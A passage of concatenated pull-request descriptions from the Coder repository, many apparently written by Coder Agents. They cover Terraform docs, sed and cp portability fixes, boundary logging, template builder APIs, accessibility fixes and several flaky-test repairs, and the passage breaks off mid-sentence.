The Agent Firewall docs had a Terraform example using `enable_boundary =
true` on the `claude-code` module at v5.2.0. That input was removed in
the v5.x refactor.
Update the getting-started and configuration examples to use the
standalone `agent-firewall` module
(`registry.coder.com/coder/agent-firewall/coder`), which is the correct
integration point for v5.x. The config is now passed via
`agent_firewall_config` (inline YAML or `file()` reference) instead of a
manual `coder_script` that base64-decoded a file into
`~/.config/coder_boundary/`.
Closes:
[REG-13](https://linear.app/codercom/issue/REG-13/docs-example-uses-nonexistent-enable-boundary-input)
> Generated by Coder Agents
---------
Co-authored-by: Atif Ali <atif@coder.com>
The provider version check in `generate.sh --check` uses nested sed
brace blocks that BSD sed rejects ("extra characters at the end of }
command"), so the check always fails on stock macOS. A failing check
makes `make gen` (and therefore the full pre-commit hook) regenerate
every terraform fixture, which is not reproducible on macOS hosts
because the `coder_provisioner` data source records the host `os`/`arch`
(`darwin`/`arm64` instead of the committed `linux`/`amd64`), leaving
permanent unstaged churn that fails `check-unstaged`.
Replace the nested-brace expression with two simple sed passes that
behave identically under GNU and BSD sed. Verified on macOS
(`/usr/bin/sed`) and GNU sed: both extract `2.15.0`, matching
`provider-version.txt`, and `generate.sh --check` now exits 0 on a clean
checkout.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Add database persistence to `ReportBoundaryLogs`. On first log for a
session, the handler lazy-creates a `boundary_sessions` row, then
batch-inserts all `BoundaryLog` entries into `boundary_logs`. Structured
logging and usage tracking are preserved. Old boundary clients (no
`session_id`) fall back to log-only mode.
> [!NOTE]
> This PR was authored by Coder Agents.
Add `agent_firewall_session_id` (UUID NULL) and
`agent_firewall_sequence_number` (INT NULL) to `aibridge_interceptions`
with a partial index on `agent_firewall_session_id`. No FK to
`boundary_sessions` (soft reference, resolved at query time).
`RecordInterception` reads the new fields from the proto request (merged
in #25884) via `parseOptionalUUID` / `parseOptionalInt32` helpers.
> This PR was authored by Coder Agents.
Fixescoder/internal#1519
Fixes CODAGT-353
These nine tests were skipped pending a chatd notification flow refactor
that would let workers distinguish stale control `NOTIFY` messages from
real interrupts. They now pass consistently, so this drops the `t.Skip`
calls and the now-stale `TODO(CODAGT-353)` blocks.
While rerunning the package after unskipping them,
`TestNewReplicaRecoversStaleChatFromDeadReplica` also surfaced as flaky
on `main` because it asserted transient ownership state. This PR keeps
that server-level test as a stable end-to-end recovery check and adds a
deterministic worker-level stale reacquisition test so we still directly
cover lease takeover behavior.
## Tests unskipped
- `coderd`: `TestPatchChatMessage/ChangesModel`
- `coderd/x/chatd`:
- `TestExploreChatSendMessageCannotMutateMCPSnapshot`
- `TestAutoPromoteQueuedMessagesPreservesPerTurnModelOrder`
- `TestSignalWakeSendMessage`
- `TestAdvisorChainMode_SnapshotKeepsFullHistory`
- `TestOpenAIResponsesNoStaleWebSearchReplay`
- `TestOpenAIResponsesFullReplayPairsReasoningAndWebSearch`
- `TestOpenAIResponsesChainModeSkipsWhenLocalCallPending`
- `TestOpenAIResponsesChainModeStillFiresForProviderExecutedOnly`
## Stale recovery follow-up
- `coderd/x/chatd`: `TestNewReplicaRecoversStaleChatFromDeadReplica` now
waits for the stable `waiting` and unowned end state after recovery.
- `coderd/x/chatd`: `TestWorker_ReacquiresStaleOwnedChat` blocks the
runner after reacquisition and directly asserts the new worker
ownership, new runner ID, and fresh heartbeat.
I stress-ran the stale recovery tests locally with repeated plain and
race runs, and re-ran the nine unskipped tests plus
`TestPatchChatMessage/ChangesModel` after these follow-up changes.
Closes DOCS-332.
## Summary
Add `docs/.style/content-guidelines.md` as the canonical source of truth
for what belongs in Coder's docs and what doesn't. Slim
`.claude/skills/doc-check/SKILL.md` and reconcile
`.claude/docs/DOCS_STYLE_GUIDE.md` so they defer to that canonical file.
One-line pointer added from root `AGENTS.md`.
## Problem
DOCS-332 cataloged five gaps in the doc-check skill and its sibling
AI-facing docs:
1. Two style guides overlapping and contradicting each other on bold and
italic conventions.
2. The SKILL had a single "do not comment" class (auto-generated CLI
docs); everything else was inferred. Source of sticky-comment noise.
3. Premium signaling split across two files (`(Premium)` H1 suffix in
SKILL, `"state": ["premium"]` manifest entry in DOCS_STYLE_GUIDE).
4. The no-emdash rule lived in root `AGENTS.md` and DOCS_STYLE_GUIDE but
not in the SKILL.
5. The redirects-live-in-`coder/coder.com:redirects.json` rule lived
only in DOCS_STYLE_GUIDE.
In parallel, a cross-repo content guidance discussion (June 2026)
produced a canonical "what belongs in the docs" document in Notion that
disagreed with the existing GitHub guidance in three places:
screenshots, "proactive documentation," and in-docs troubleshooting.
## Fix
**New canonical file**: `docs/.style/content-guidelines.md`. Translates
the canonical content guidance into the repo:
- Diátaxis framing.
- "Documentation lands with the change" rule with three corollaries
(docs in same PR; no docs for unconfirmed features; multi-PR launch
exception, present tense, never as a promise).
- 7-step quick decision checklist.
- "What belongs / what doesn't / routing table" structure.
- Screenshot policy: only when the topic would be confusing without it;
PHI/PII, secrets, minimal surface area, alt text required.
- Premium signaling requires both H1 suffix and `"state": ["premium"]`
in `docs/manifest.json`.
- Redirects must be added to `coder/coder.com:redirects.json`, never
`docs/_redirects`.
- Verify-against-code rule with exact RBAC names and full API paths.
- Terraform exception for minimal teaching examples.
**Slim `.claude/skills/doc-check/SKILL.md`**: defers scope and routing
to `docs/.style/content-guidelines.md`. Adds an explicit "What not to
comment on" list (Gap 2) covering internal refactors, test-only changes,
CI/tooling, dep bumps, and pure code reorganizations. Closes Gaps 3, 4,
and 5 in the same pass.
**Reconcile `.claude/docs/DOCS_STYLE_GUIDE.md`**: removes the
image-driven documentation pattern, the placeholder-screenshot workflow,
the "proactive documentation" pattern, and the in-docs troubleshooting
H3 pattern. Each is replaced with a short pointer to the canonical
guidelines. Prose, formatting, and structural conventions remain; this
file continues to cover those.
**`AGENTS.md`**: one-line pointer added to the navigation section and
the read-when-relevant list.
## What's explicitly out of scope
- **Gap 1** (bold and italic reconciliation): deferred to DOCS-186,
which will redirect the human-facing
`docs/about/contributing/documentation.md` to
`docs/.style/style-guide.md` once DOCS-180 lands.
- **Prose-rule migration** to `docs/.style/style-guide.md`: handled by
DOCS-180.
- **doc-check workflow comment-format changes**: deferred (Phase 2
work).
- **redirect-suggestion behavior in doc-check**: tracked as DOCS-359.
- **Historical predictive-content sweep across `docs/`**: tracked as
DOCS-358.
## Known CI notes
- This PR will trigger `docs-preview`, which posts a comment with a deep
link to the first added Markdown file. The link will 404 because
`docs/.style/**` files are not added to `docs/manifest.json` and
shouldn't be (the directory is contributor-facing, not published).
DOCS-180 negates `docs/.style/**` in the `docs-preview` workflow; once
that lands the papercut goes away. Safe to ignore the comment on this
PR.
- `deploy-docs` will run on merge but is manifest-driven: since
`docs/.style/**` files are not in `docs/manifest.json`, the surgical
Algolia indexer will skip them and no full Vercel rebuild fires.
- `doc-check` will run on this PR; the diff has no user-facing product
change, so it should report no documentation impact.
## Review
This change is documentation-only and does not modify product code or CI
checks in any meaningful way. Per standing instructions this requires a
human review; the `/coder-agents-review` bot is **not** triggered.
<details>
<summary>Implementation plan and decision log</summary>
### Decisions made during scoping
1. **Option B (consolidate)** for DOCS-332: a single canonical
content-guidance file instead of distributing fixes back into the
existing sibling files.
2. **File location**: `docs/.style/content-guidelines.md`. The rules
apply to both humans and AI, so an AI-prefixed naming scheme would
mislead. `docs/.style/` is contributor-facing and not published to
coder.com per the DOCS-180 convention.
3. **Independent merge**: this PR does not block on DOCS-180. The README
in `docs/.style/` is a minimal stub that should merge cleanly with the
DOCS-180 README.
4. **Canonical-source model**: GitHub becomes canonical for docs content
guidance. The cross-repo source page will be rewritten to point at this
file as a follow-up.
### Conflicts resolved
| Topic | Old GitHub guidance | New canonical |
|----------------|---------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------|
| Screenshots | Image-driven sections; placeholders welcome | Use only
when topic confusing without; 4 rules (no PHI or PII, no secrets,
minimal surface area, alt text) |
| Timelessness | "Proactive Documentation" pattern (write ahead,
reference PR number) | "Documentation lands with the change" plus 3
corollaries; predictive language banned |
| Troubleshooting| In-docs H3 pattern | Routes to Support KB (Pilon);
embedded widget under investigation |
### Pre-mortem
- **`docs-preview` dead link**: known papercut documented in the CI
notes above.
- **`deploy-docs` over-fire**: addressed by manifest-driven exclusion;
the surgical indexer skips non-manifest paths.
- **Merge conflict with DOCS-180 `docs/.style/README.md`**: expected to
be small and mechanical. Both PRs introduce the same directory and a
"What lives here" table; the merge is "combine the rows".
- **Merge conflict with DOCS-186**: none expected. DOCS-186 changes
`docs/about/contributing/documentation.md`, which this PR does not
touch.
### Follow-up tickets filed
- **DOCS-358**: Sweep `docs/` for predictive or proactive content that
violates the "docs land with the change" rule.
- **DOCS-359**: doc-check suggests `redirects.json` entries on doc
renames and moves.
</details>
---
*Generated via Coder Agents.*
Closes
[DOCS-327](https://linear.app/codercom/issue/DOCS-327/trigger-docs-reindex-on-codercoder-releasepublished).
## What
Add `release: { types: [published] }` to
`.github/workflows/deploy-docs.yaml` so that publishing a stable
`vX.Y.Z` GitHub Release on this repo auto-dispatches the docs-sync
handler against the corresponding `release/X.Y` branch. The existing
`push` and `workflow_dispatch` triggers are unchanged.
The `Compute action and ref` step gains a release-event branch that:
- Skips prereleases (`github.event.release.prerelease == true`) with a
workflow notice.
- Matches the tag against `^v([0-9]+)\.([0-9]+)\.[0-9]+$` and translates
`v2.35.0` to `release/2.35`.
- Falls through with a notice and `exit 0` for any tag that doesn't
match the plain semver shape (`v2.35`, `v2.35.0-rc.1`, etc.).
Downstream validation, HMAC body construction, and the POST step are
unchanged. The POST step gains an `if: steps.input.outputs.action != ''`
guard so the two `exit 0` paths skip the POST instead of sending empty
`action`/`ref` to the production handler.
A new `.github/workflows/test-deploy-docs-release.sh` exercises the
release-event bash against the 11 event scenarios in the table below
plus 3 regex boundary cases, mirroring the existing
`test-deploy-docs-diff.sh` pattern.
## Why
Today, every mainline rollover requires a human to dispatch this
workflow manually with `action=index, ref=release/X.Y`. We just hit this
rotation friction on
[DOCS-324](https://linear.app/codercom/issue/DOCS-324/rotate-algolia-indexer-allowlist-for-v234-launch-add-release234-drop)
(v2.34 launch) and the resulting empty-search-results incident on
`/docs/@v2.34.x/...`. `release.published` is the right cue: it fires
exactly when a version becomes user-visible, not when its release branch
is cut weeks earlier with possibly-incomplete docs.
## Coupling (important)
This change is **intentionally inert until coder.com's
`INDEXED_REFS_BY_CORPUS` allowlist becomes self-rotating** (filed under
[DOCS-210](https://linear.app/codercom/issue/DOCS-210/automated-docs-index-lifecycle-management)).
Until that lands, the handler still rejects new minors with `{action:
"skipped", reason: "...not in INDEXED_REFS_BY_CORPUS"}` and this
workflow logs the skip. Pre-wiring lets both halves land roughly in
parallel so the next release cut after both ship is automatic.
Reviewers: feel free to merge this independently. There is no downside
to the wiring being live before the allowlist half ships; worst case,
every release-publish event creates a no-op workflow run.
## Behavior trace (the cases the bash handles)
<details>
<summary>11 event scenarios I walked through by hand</summary>
| Event | Tag | prerelease | Result |
|---|---|---|---|
| push to main | n/a | n/a | `index`, `ref=main` (existing) |
| push to release/2.34 | n/a | n/a | `index`, `ref=release/2.34`
(existing) |
| workflow_dispatch index release/2.34 | n/a | n/a | `index`,
`ref=release/2.34` (existing) |
| workflow_dispatch delete release/2.31 | n/a | n/a | `delete`,
`ref=release/2.31` (existing) |
| release.published | `v2.35.0` | `false` | `index`, `ref=release/2.35`
(new) |
| release.published | `v2.35.0-rc.1` | `true` | notice + `exit 0` (new)
|
| release.published | `v2.35.0-rc.1` | `false` | notice + `exit 0`,
regex miss (new) |
| release.published | `v2.35` | `false` | notice + `exit 0`, regex miss
(new) |
| release.published | `release-2.35` | `false` | notice + `exit 0`,
regex miss (new) |
| release.published | `v0.0.0` | `false` | `index`, `ref=release/0.0`
then handler rejects via allowlist (defense in depth) |
| release.published | `` (empty) | unset | notice with `<unknown>` +
`exit 0` |
</details>
## Safety
- The handler's allowlist gate still applies; this PR can only cause
`{action: "skipped"}` responses until DOCS-210's allowlist-derivation
lands. No risk of indexing an unintended ref.
- The workflow's existing input validation (`case "$REF" in
main|release/*)`) rejects any translation output that isn't
`release/<int>.<int>`. Defense in depth in case the regex ever loosens
by accident.
-
[DOCS-121](https://linear.app/codercom/issue/DOCS-121/post-mortem-docs-search-outage-2026-05-12-pr-25049-merge-wiped-docs)
self-trigger risk is not present here: the new trigger is
`release.published`, not push-on-paths. Workflow file edits cannot
induce a release event.
- `concurrency: { group: deploy-docs-${{ github.ref }} }` already
exists. Release events have `github.ref=refs/tags/vX.Y.Z`, distinct from
push events on the same release branch. A theoretical race resolves
through the handler's atomic deleteBy+saveObjects.
- The POST step now has an `if:` guard that skips downstream calls when
the Compute step exits early without writing outputs. Closes the
empty-env-var failure mode that coder-agents-review CRF-1 flagged.
## Verification
- `actionlint .github/workflows/deploy-docs.yaml` clean.
- `make pre-commit-light` clean: `fmt/shfmt`, `fmt/markdown`,
`lint/actions/actionlint`, `lint/shellcheck`, `lint/markdown`,
`lint/emdash`, `lint/typos`, etc.
- `.github/workflows/test-deploy-docs-release.sh`: 14 cases pass (11
scenario table + 3 regex boundary cases).
- Bash logic hand-traced through 11 event scenarios (table above).
## Out of scope
- Build-time allowlist derivation in coder.com (DOCS-210a, will be
filed/PR'd as a sibling change).
- Webhook-driven cleanup of aged-out refs
([DOCS-210](https://linear.app/codercom/issue/DOCS-210) parent).
- code-server release lifecycle (different repo, code-server's docs
corpus stays at `main`).
---
_Coder Agents on behalf of @nickvigilante._
Implement `GET /api/v2/templatebuilder/modules`, which returns the
filtered list of modules available for a given base template. Reads from
the bundled catalog via `LoadModules()` and applies OS-compatibility
filtering based on the `base` query param.
Computed variables (e.g. `agent_id`) are excluded from the API response
at the `ToSDK()` conversion boundary since they are wired automatically
by the builder. The `Computed` field is removed from the SDK type. Adds
`CompatibleWithOS()` to `ModuleManifest` for OS filtering.
Returns 400 for unknown base IDs and 404 when the template builder is
disabled.
Depends on #26116
> [!NOTE]
> This PR was authored by Coder Agents on behalf of @jeremyruppel.
Implement `GET /api/v2/templatebuilder/bases`, which returns the list of
base templates available in the template builder. Reads from the bundled
catalog by cross-referencing `templatebuilder.BaseTemplateIDs()` with
`examples.List()`, enriching each entry with the OS from the `exampleID
-> OS` map.
The endpoint is gated behind the template builder feature flag (returns
404 when disabled) and requires `policy.ActionRead` on
`rbac.ResourceTemplate`.
Depends on #26115
> [!NOTE]
> This PR was authored by Coder Agents on behalf of @jeremyruppel.
Add the bundled `exampleID -> OS` Go map for Docker, Kubernetes, and AWS
EC2 Linux base templates. Create `.tf.tmpl` Go template files for each
within `coderd/templatebuilder/bases/`, along with `BaseRenderContext`
and `RenderBaseTemplate` rendering helpers.
The `.tf.tmpl` files are independent copies of the example templates
with module blocks (code-server, jetbrains) removed, since the template
builder composes modules separately into `modules.tf`. When
`ImageOptions` is provided, the container image field references the
Terraform parameter; otherwise it uses the hardcoded value via Go
template whitespace control (`{{-`).
Golden file snapshot tests verify rendered output stability with an
`-update` flag for regeneration.
Depends on #25909
> [!NOTE]
> This PR was authored by Coder Agents on behalf of @jeremyruppel.
The terraform_1_15_5 derivation previously only handled linux/amd64,
falling through to unstablePkgs.terraform on all other platforms. On
macOS this meant a different Terraform version was used, which caused
the version check in make pre-commit to trigger generate.sh,
regenerating all testdata with the host platform's OS/arch
(darwin/arm64) instead of the committed linux/amd64 values.
Three changes:
1. `flake.nix`: add explicit linux_arm64, darwin_arm64, and darwin_amd64
cases with SHA256 hashes from the official HashiCorp release. Unknown
platforms still fall back to unstablePkgs.terraform.
2. `provisioner/terraform/testdata/generate.sh`: guard full regeneration
behind a Linux-only check. The committed testdata encodes linux/amd64
values from the coder_provisioner data source, so regenerating on macOS
would permanently bake in darwin/arm64. The --check path still runs on
all platforms so the version target can detect provider mismatches.
Regeneration via CI or an explicit Linux run is unchanged.
3. `scripts/release/check_commit_metadata.sh`: fix a shfmt (>=3.13)
false positive. The [install.sh] key in an associative array literal was
parsed as floating-point arithmetic (a zsh-only feature). Moving it to a
post-declaration assignment satisfies the stricter parser without
changing runtime behavior.
<!--
If you have used AI to produce some or all of this PR, please ensure you
have read our [AI Contribution
guidelines](https://coder.com/docs/about/contributing/AI_CONTRIBUTING)
before submitting.
-->
Linear: DOCS-279
## Summary
Fixes the WCAG image-alt failures reported on
https://dev.coder.com/workspaces. The audit flagged ~52 `<img>` elements
without an `alt` attribute, all matching the inner `<img>` rendered by
Radix `AvatarPrimitive.Image` inside our `Avatar` component (selectors
like `.size-full.object-contain`, `.size-[--avatar-lg].rounded-[6px]`,
`.size-[--avatar-sm]`). Two `ExternalImage` callsites on the same page
were also missing `alt`.
## Changes
- `Avatar`: add optional `alt?: string` and forward it to
`AvatarPrimitive.Image`. Default is `""`, which marks the avatar as
decorative and removes it from the accessibility tree. Every callsite on
the workspaces page already renders the human-readable name (owner,
template, organization, user) as adjacent text, so decorative-by-default
is the WCAG-correct behavior. Callers that need a meaningful alt can
override.
- `AvatarData`: thread an optional `alt` through to the internal default
`Avatar`.
- `WorkspacesTable` `IconAppLink` `ExternalImage`: pass `alt=""`. The
wrapping `BaseIconLink` already exposes the app name through an
`sr-only` span on the link.
- `BatchDeleteConfirmation` resource icons `ExternalImage`: pass
`alt=""`. The resource-type label sits next to each icon.
- `WorkspacesPageView.stories.tsx` `AllStates`: add a play function that
scans the rendered canvas and asserts every `<img>` has an `alt`
attribute, to prevent regressions.
## Validation
- `pnpm check`, `pnpm lint`, `pnpm format` clean.
- `pnpm test -- src/pages/WorkspacesPage/WorkspacesPage.test.tsx` passes
(13/13).
- Pre-commit (`make pre-commit`) passes locally.
<details>
<summary>Implementation plan</summary>
### Root cause
The `Avatar` component (`site/src/components/Avatar/Avatar.tsx`)
rendered `AvatarPrimitive.Image` without an `alt` attribute. Every
consumer (`AvatarData`, `TopbarAvatar`, workspace table rows, filter
menus, empty state, batch dialogs, "New workspace" dropdown) inherited
the missing-alt bug, which is why a single page produced ~52 violations.
### Fix
1. Make `Avatar` accept an `alt` prop, default `""`, and forward it to
the underlying `<img>`. Drop-in compatible with every existing call.
2. Mirror the prop on `AvatarData` so callers can label the implicit
avatar without composing their own.
3. Explicitly mark the workspaces-page `ExternalImage` callsites as
decorative because each is paired with adjacent text.
4. Lock the behavior with a Storybook play function so a future
regression on the workspaces page fails CI.
### Why `alt=""` by default
All workspaces-page avatars are rendered next to the corresponding name.
Per WCAG, repeating that name in the image's alt text would only add
noise for screen-reader users. Empty alt removes the image from the
accessibility tree, which is the correct decorative pattern.
</details>
---
_PR opened by Coder Agents on behalf of @tracyjohnsonux._
Callers can now choose when to open and emit the initial message. This
will enable finer testing for some incoming bug fixes related to the
timing of dynamic parameter sockets and requests.
Add a callback to preserve the current behavior for existing tests and make
the transition easier. Future tests can omit the callback and emit the events
under whatever condition they need.
The only behavioral changes are:
- the web socket error test now emits a close error without first
opening to accurately simulate a failure to connect at all.
- add some missing `diagnostics` to some responses (just to be
thorough).
- change one of the IDs to match in two tests (for consistency).
Following the BYOK (ChatGPT Subscription) instructions in `codex.md` on
a deployment without a ChatGPT provider fails with `404 route not
supported: POST /chatgpt/v1/responses`. The
`/api/v2/aibridge/chatgpt/v1` route only exists when an admin has
created a provider named `chatgpt`, and that requirement wasn't
documented anywhere.
## Changes
- `providers.md`: new **ChatGPT** subsection alongside the other
per-provider sections: type `openai`, name must be exactly `chatgpt`,
base URL `https://chatgpt.com/backend-api/codex`, no API keys (auth
comes from each user's ChatGPT OAuth token via BYOK)
- `codex.md`:
- prerequisite admonition in the ChatGPT Subscription section linking to
the provider setup, with the 404 symptom for troubleshooting
- template recipe for the ChatGPT subscription flow (`base_config_toml`
+ `coder_env` injecting `CODER_API_TOKEN`), since the existing recipe
only covers the centralized API key flow
- bump the codex module pin from `~> 4.1` to `~> 5.0` (latest is 5.1)
## Verification
- All three gaps were hit and the documented configuration verified
end-to-end on a live deployment: provider created via the AI Providers
API, Codex CLI 0.139.0 authenticated with ChatGPT login, sessions
visible in the AI Sessions UI
- `pnpm run format-docs` and `pnpm run lint-docs` clean (0 errors),
`pre-commit-light` hooks passed
Linear: [DOCS-354](https://linear.app/codercom/issue/DOCS-354)
🤖 Generated with Coder Agents on behalf of @bpmct
## Summary
`cp --recursive` is GNU-specific and not recognized by BSD `cp` on
macOS. BSD `cp` treats `--recursive` as a third path argument, producing
`cp: --recursive: Not a directory`.
This replaces `--recursive` (placed after operands) with the
POSIX-portable `-r` flag placed before operands, which works on both
Linux and macOS.
---
> Generated by Coder Agents on behalf of @nickvigilante
## Summary
Fixes the `TestRun/RPTY` flake tracked in PLAT-116 (`timeout waiting for
read to finish`).
`rptyConn.Close` sends `Ctrl+C` to interrupt the command, then waits up
to 30s for the read to finish. The read only unblocks once the server
closes the reconnecting PTY stream, which depends on the agent
terminating the command under test (a `dd` reading stdin) and tearing
down the backend. When the server-side teardown does not complete within
30s, `Close` returned a hard error and failed the run. Logs from the
March 2026 failure confirm the agent used the `screen` backend
(`backend_type=screen`) and show no session teardown activity at all
after `Ctrl+C`; the interrupt chain stalled rather than merely running
slowly. The previously deferred `c.conn.Close()` ran only *after* the
wait gave up, so nothing actively unblocked the read within the window.
## Changes
- `conn.go`: graceful close is now best-effort. After the grace period,
`Close` actively force-closes the underlying connection to unblock the
read, waits a bounded `forceCloseReadTimeout` (5s) for the read to drain
rather than blocking indefinitely, and returns a distinguishable
sentinel `errRPTYGracefulCloseTimeout`. The same force-close path is
used when the `Ctrl+C` write fails. Timeouts are fields on `rptyConn` so
tests can shrink them deterministically.
- `run.go`: treats `errRPTYGracefulCloseTimeout` as non-fatal (logged as
a warning) so the run no longer fails when the connection was closed,
just not gracefully. Any other close error still fails the run,
preserving signal for a genuine regression.
- `conn_internal_test.go`: new unit tests covering the graceful,
forced-close, stuck-read-after-close, and double-close paths using a
stub connection.
## Testing
- `go test ./scaletest/workspacetraffic/ -run TestRPTYConnClose -race
-count=10` passes.
- `go test ./scaletest/workspacetraffic/ -run TestRun/RPTY` passes.
- `golangci-lint run ./scaletest/workspacetraffic/` clean;
`gofmt`/emdash clean.
<details>
<summary>Root-cause analysis and lifecycle notes</summary>
The client conn is bound to `context.Background()`, so the test context
cannot unblock the read; only an actual websocket close can. The coderd
proxy bridges client and agent with `agentssh.Bicopy`, which propagates
closes promptly, so the stall is not there. On the agent side both
backends do eventually close the connection after the command exits:
- **buffered**: output reader hits EOF on command exit and closes active
conns in-process (one goroutine handoff).
- **screen**: a longer chain (`Ctrl+C` -> screen client PTY -> daemon ->
inner PTY -> SIGINT -> `dd` exit -> session teardown -> `screen -x`
client exit -> agent output reader EOF -> conn close), involving extra
OS processes.
The backend is auto-selected (`screen` if present on Linux, else
`buffered`) and the test does not pin it, so behavior depends on the
runner image. Logs from the March 2026 failure (run 23322663002) confirm
`backend_type=screen` and show no `unable to read pty output` or
session-quit activity between the attach and the moment the client gave
up 30s later, meaning `dd` never exited in response to `Ctrl+C` within
the window. The stall is in delivery or signal handling inside the
screen path, not a slow process exit. No agent-side logic bug was
identified from the logs, which is why the fix makes graceful close
best-effort rather than asserting a fixed deadline.
Possible follow-ups (not in this PR): pin the test to a deterministic
backend, and/or log the agent's chosen `backend_type` in test output to
aid future diagnosis.
</details>
---
This PR was generated with assistance from Coder Agents.
Scaffolds the `coderd/templatebuilder` package for the guided template
builder ([DEVEX-272](https://linear.app/codercom/issue/DEVEX-272),
[RFC](https://www.notion.so/coderhq/RFC-Guided-Template-Creation-Workflow-342d579be59280dfbf8eea2e5006dbda)).
Adds the module catalog types and `go:embed` wiring that the template
builder endpoints will use:
- `codersdk.TemplateBuilderModule`, `TemplateBuilderModuleVariable`, and
related types matching the RFC schema
- Internal `ModuleManifest` type with `go:embed` wiring to bundle
`module.json` files from `coderd/templatebuilder/modules/`
- `LoadModules()` with defensive copy, unexported
`parseModulesFromFS(fs.FS)` for test isolation, `ToSDK()` conversion
- Real `code-server` module manifest as the first catalog entry
- Strict validation: ID uniqueness, version non-empty, variable
type/name validation, `DisallowUnknownFields`, and requiring
`module.json` in every module directory
- Tests via internal `catalog_internal_test.go` (for
`parseModulesFromFS` with `fstest.MapFS` fixtures) and external
`catalog_test.go` (for `LoadModules` and `ToSDK`), covering multi-module
parsing, all variable types, validation errors, nil-slice normalization,
and full SDK field assertions
> [!NOTE]
> Generated with [Coder Agents](https://coder.com/agents) by
@jeremyruppel
---------
Co-authored-by: McKayla はな <mckayla@hey.com>
## Summary
Removes the deprecated `/api/v2/aibridge/interceptions` endpoint and the
Request Logs frontend page, both replaced by the session-based view.
Closes https://linear.app/codercom/issue/AIGOV-266
Closes https://linear.app/codercom/issue/AIGOV-324
## Changes
### Backend
- Remove `GET /api/v2/aibridge/interceptions` HTTP handler and route
- Remove SDK types and client method (`AIBridgeInterception`,
`AIBridgeTokenUsage`, `AIBridgeUserPrompt`, `AIBridgeToolUsage`,
`AIBridgeListInterceptionsResponse`, `AIBridgeListInterceptionsFilter`)
- Remove SQL queries `CountAIBridgeInterceptions` and
`ListAIBridgeInterceptions`
- Remove `searchquery.AIBridgeInterceptions` parser
- Remove dbauthz wrappers, in-memory implementations, metrics, and mocks
for the interceptions list queries
- Remove the `coder aibridge interceptions list` CLI command and golden
files
- Regenerate API docs, swagger, mocks, and metrics
The `/models`, `/clients`, and `/sessions` endpoints stay; the sessions
list page still consumes all three.
### Frontend
- Delete the entire `RequestLogsPage/` directory (page, view, row,
filter, stories, tests)
- Remove the `/aibridge/request-logs` route and its lazy import
- Remove the `getAIBridgeInterceptions` API method,
`paginatedInterceptions` query, and mock interception entities
- `git mv` the shared filter and icon components used by the sessions
pages:
- `RequestLogsPage/RequestLogsFilter/{Client,Model,Provider}Filter.tsx`
→ `AIBridgePage/filters/`
- `RequestLogsPage/icons/AIBridge{Client,Model,Provider}Icon.tsx` →
`AIBridgePage/icons/`
- Drop the `getProviderIconName` hack and the duplicate `anthropic-neue`
icon case now that the FIXME no longer applies
## Commits
1. `refactor: remove interceptions API and request logs view` — the bulk
removal, with explicit renames for the shared filter/icon files.
2. `refactor(site/src/pages/AIBridgePage): drop getProviderIconName
hack` — cleanup of the FIXME that depended on RequestLogsPage existing.
> [!NOTE]
> Generated by Coder Agents on behalf of @dannykopping
`coder exp scaletest chat` now bootstraps its mock LLM using the,
post-gateway unification, AI provider API instead of the removed
experimental chat-provider API, and creates or reuses a chat model
config linked to that provider. When the mock provider is created or
updated, the command waits a flat, hidden `--provider-propagation-wait`
(default 15s) before starting the scale run, since each coderd replica
caches provider config with a 10s TTL and only expiry guarantees every
replica sees the change. The command also runs without any scaletest
workspaces, creating chats with no workspace context. The integration
test covers the CLI path against `llmmock` with a near-zero propagation
wait, verifies the provider/model config setup, and asserts the
generated chat records user and assistant messages.
Relates to CODAGT-307
Relates to GRU-48
OpenAI-compatible provider endpoints need to include the upstream
OpenAI-compatible prefix, typically `/v1`, because Coder appends request
suffixes such as `/chat/completions`, `/responses`, and `/models`. The
generic OpenAI-compatible provider form did not show an example
endpoint, so it was easy to save a host-only URL that looked valid but
would fail when used.
Add `https://provider.example.com/v1` as the Endpoint placeholder for
the OpenAI-compatible provider, matching the documented example URL
shape.
Extracts the workspace app iframe, wildcard warning, and workspace-app
helper functions out of TaskPage into shared `site/src/modules/apps`
modules. Existing agent and app lookups in the task chat helpers,
download-logs dialog, and workspaces table now route through the shared
`workspaceApps` helpers instead of duplicating resource-flattening
logic. The extracted frame preserves the existing preview-only toolbar
behavior, and its open-in-new-tab link gains `rel="noreferrer"` to
harden against tabnabbing.
Relates to CODAGT-346
fixes DEVEX-375
Replaces `getByRole` with async `findByRole`, which returns a promise /
rejects if no matching element is found after a default timeout of
1000ms
Co-written with Coder Agents. Relevant chat responses:
[I couldn't repro locally, so I inquired if there was a commit/PR that
fixed the flake within the past 3 weeks]
>No, this flake has not been fixed. There have been zero commits to
`CreateTokenPage`, `CopyButton`, `CodeExample`, or `useClipboard.ts`
since the failing CI run (13bf0e11f1, May 20).
>`getByRole` is synchronous, so it doesn't wait for the success modal
(containing the "Copy code" button) to render after the `createToken()`
mutation resolves. When the mutation is slow, the DOM still shows the
form (Cancel / Create token), and the query fails.
`TestRefreshToken/RefreshRetries` flakes on Windows. The subtest
disables transient-failure refresh retries by setting
`RefreshRetryTimeout = time.Nanosecond`, but a near-zero timeout cannot
deterministically prevent a retry: on coarse-clock platforms the 1ns
deadline may not register as expired until after the first refresh
attempt completes, and `retry.Wait`'s first delay is zero, so an extra
IDP refresh attempt slips through and the attempt-count assertion fails
with `refreshCount = totalRefreshes + 1`.
A negative `RefreshRetryTimeout` now disables transient-failure retries
explicitly so exactly one refresh attempt is made, and the test sets
`-1` instead of `time.Nanosecond`. The retry config fields are only set
from tests, so default refresh behavior is unchanged.
Closes https://github.com/coder/internal/issues/1550 (PLAT-293)
<details>
<summary>Root cause analysis</summary>
1. The test sets `RefreshRetryTimeout = time.Nanosecond` intending "no
retries".
2. `refreshTokenWithRetry` creates `context.WithTimeout(ctx, 1ns)`. On
Linux this context is canceled synchronously at creation: consecutive
`time.Now()` reads differ by more than 1ns, so `context.WithDeadline`
observes `time.Until(deadline) <= 0`. The `retryCtx.Err() != nil` guard
then deterministically stops after one attempt.
3. On Windows, `time.Now()` is coarse, so both clock reads inside
`WithTimeout` can return the same instant, and a real 1ns timer is
scheduled instead of synchronous cancellation.
4. The fake IDP is served in-process, so the first refresh attempt can
complete before that timer fires. `retryCtx.Err()` is still nil and
`retry.Wait`'s first delay is zero, so a second refresh attempt happens.
5. `require.Equal(t, refreshCount, totalRefreshes)` then fails with
`expected: 2, actual: 1` (or `4 vs 3` when the race hits a later loop
iteration), matching all CI occurrences.
Timing-based test-side mitigations cannot close this race, so the fix
adds explicit retry-disable semantics instead. `RefreshRetries` passed
